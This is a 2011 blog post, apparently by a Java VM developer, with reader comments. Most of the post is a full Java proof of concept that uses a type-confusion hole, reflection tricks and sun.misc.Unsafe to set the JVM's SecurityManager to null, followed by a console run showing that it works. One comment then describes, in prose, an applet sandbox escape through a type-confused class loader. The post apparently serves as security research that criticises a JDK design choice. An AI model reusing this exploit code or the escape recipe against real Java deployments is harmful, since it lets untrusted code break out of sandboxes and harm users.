# Monday, 01 August 2011
« New Development Snapshot | Main | MethodHandle Progress »
How To Disable the Java Security Manager

Suppose you have a type safety vulnerability in Java, you could use it to execute native code, but you can also simply disable the SecurityManager:

import java.io.*;
import java.lang.ref.*;
import java.lang.reflect.*;

class Union1 {
  ObjectStreamClass osc;
  Class c;
  AccessibleObject acc;
}

class Union2 {
  MyObjectStreamClass osc;
  MyClass c;
  MyAccessibleObject acc;
}

class MyObjectStreamClass {
  int i1;
  int i2;
  int i3;
  int i4;
  Object obj1;
  Object obj2;
  Long suid;
}

class MyClass {
  int i1;
  int i2;
  int i3;
  int i4;
  Object obj1;
  Object obj2;
  Object obj3;
  Object obj4;
  SoftReference<Field[]> declaredFields;
  Object obj6;
  SoftReference<Method[]> declaredMethods;
  Object obj8;
}

class MyAccessibleObject {
  boolean override;
}

class DisableSecurityManager {
  static Union1 u1 = new Union1();
  static Union2 u2;
  static Method privateGetDeclaredFields;
  static Method privateGetDeclaredMethods;

  public static void main(String[] args) throws Exception {
    u2 = TypeSafetyHole.setupUnions(u1);
    disableSecurityManager();
  }

  static void disableSecurityManager() throws Exception {
    initReflection();

    Object unsafe = getField(java.util.Random.class, "unsafe").get(null);
    Method staticFieldBase = getMethod(unsafe.getClass(), "staticFieldBase");
    Method staticFieldOffset = getMethod(unsafe.getClass(), "staticFieldOffset");
    Object base_System = staticFieldBase.invoke(unsafe, System.class);
    Method getObject = getMethod(unsafe.getClass(), "getObjectVolatile");
    Method putObject = getMethod(unsafe.getClass(), "putObjectVolatile");

    SecurityManager sm = System.getSecurityManager();
    System.out.println(sm);
    for (int i = 0; ; i += 4) {
      if (getObject.invoke(unsafe, base_System, i) == sm) {
        System.out.println("found it!");
        putObject.invoke(unsafe, base_System, i, null);
        break;
      }
    }
    System.out.println(System.getSecurityManager());
  }

  static void initReflection() throws Exception {
    u1.osc = ObjectStreamClass.lookup(Class.class);
    u1.c = Class.class;
    System.out.println(ObjectStreamClass.lookup(Class.class).getSerialVersionUID());
    u2.osc.suid = null;
    System.out.println(ObjectStreamClass.lookup(Class.class).getSerialVersionUID());
    for (Method m : u2.c.declaredMethods.get()) {
      if (m.getName().equals("privateGetDeclaredFields")) {
        u1.acc = m;
        u2.acc.override = true;
        privateGetDeclaredFields = m;
      }
      if (m.getName().equals("privateGetDeclaredMethods")) {
        u1.acc = m;
        u2.acc.override = true;
        privateGetDeclaredMethods = m;
      }
    }
  }

  static Field getField(Class c, String name) throws Exception {
    Field[] fields = (Field[])privateGetDeclaredFields.invoke(c, false);
    for (Field f : fields) {
      if (f.getName().equals(name)) {
        u1.acc = f;
        u2.acc.override = true;
        return f;
      }
    }
    throw new Error("Field not found");
  }

  static Method getMethod(Class c, String name) throws Exception {
    Method[] methods = (Method[])privateGetDeclaredMethods.invoke(c, false);
    for (Method m : methods) {
      if (m.getName().equals(name)) {
        u1.acc = m;
        u2.acc.override = true;
        return m;
      }
    }
    throw new Error("Method not found");
  }
}  

This code requires JDK 7. Note that you can't use reflection to access the System.security field, because it is special cased by the reflection code (cute, but not very effective).

Here's how it runs (given a suitable implementation of TypeSafetyHole):

C:\j>\jdk1.7\bin\java -Djava.security.manager DisableSecurityManager
3206093459760846163
5184993009896724798
java.lang.SecurityManager@150ac9a8
found it!
null
Monday, 01 August 2011 16:27:17 (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]
Monday, 01 August 2011 16:35:58 (W. Europe Daylight Time, UTC+02:00)
BTW, since the static fields now live inside the Class object, an easier way would be to simply overlay your own object over the System class object and access the field directly, but the point of this post is to demonstrate how easy it is to bootstrap complex reflection machinery given the many tricks that are available and to ridicule the special casing of the System.security field.
Thursday, 23 February 2012 19:44:27 (W. Europe Standard Time, UTC+01:00)
Just for the record, it is possible to disable the security manager without depending on the layout of VM internal objects (and therefore it should work in all compliant JVMs). So no accessible flags needed to tweak and no existence of sun.misc.Unsafe.

(At least) an applet can retrieve its own context class loader (type ClassLoader). Then use a type confusion to overlay the ClassLoader with a custom subclass MyClassLoader, so you get the class loader into a MyClassLoader instance. MyClassLoader has a static method doWork(MyClassLoader mycl) that calls defineClass(the one with ProtectionDomain argument) on mycl (which works since a static method in a subclass can call protected superclass methods on instances of the subclass type). Then call that method with your "type confused" MyClassLoader to define a class that clears the security manager in a privileged block. Done. Tested in Java 1.4+ (because I don't know any way to do or fake type confusion in older versions). And since the only place that depends on the confused type is the verifier (all called methods and fields are defined in the real class) it should be very unlikely to find a JVM that crashes when trying this.
Name
E-mail
Home page

I apologize for the lameness of this, but the comment spam was driving me nuts. In order to be able to post a comment, you need to answer a simple question. Hopefully this question is easy enough not to annoy serious commenters, but hard enough to keep the spammers away.

Anti-Spam Question: What method on java.lang.System returns an object's original hashcode (i.e. the one that would be returned by java.lang.Object.hashCode() if it wasn't overridden)? (case is significant)

Answer:  
Comment (HTML not allowed)  

Live Comment Preview